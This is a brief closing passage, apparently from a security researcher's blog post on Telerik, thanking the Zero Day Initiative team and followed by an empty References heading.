If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Telerik at all, shout out to all of you people working there to make the internet safer.

zdif

References